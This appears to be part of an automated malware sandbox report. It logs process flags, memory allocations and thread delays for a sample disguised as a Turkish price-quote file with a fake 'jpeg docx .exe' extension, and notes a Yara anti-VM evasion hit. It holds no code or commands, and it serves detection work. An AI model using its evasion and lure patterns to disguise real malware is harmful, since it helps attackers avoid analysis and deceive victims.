Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match

File source: Process Memory Space: fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe PID: 320, type: MEMORYSTR

Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 24C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 44C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 7350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 6D40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 8350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 9350000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 12F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 2EE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Memory allocated: 2C10000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599453	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599343	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599234	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599125	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 599015	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598906	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598797	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598687	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598468	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598359	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598250	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598140	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 598030	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597922	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597812	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597703	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597593	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597484	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597371	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597265	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597156	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 597046	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596936	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596827	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596718	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596609	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596500	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596390	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596276	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596171	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 596062	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595953	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595843	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595734	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595624	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595515	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Users\user\Desktop\fiyati_teklif 65TBI507_ ON-SAN Vakum san tic_ Sipari#U015fi jpeg docx .exe	Thread delayed: delay time: 595297	Jump to behavior
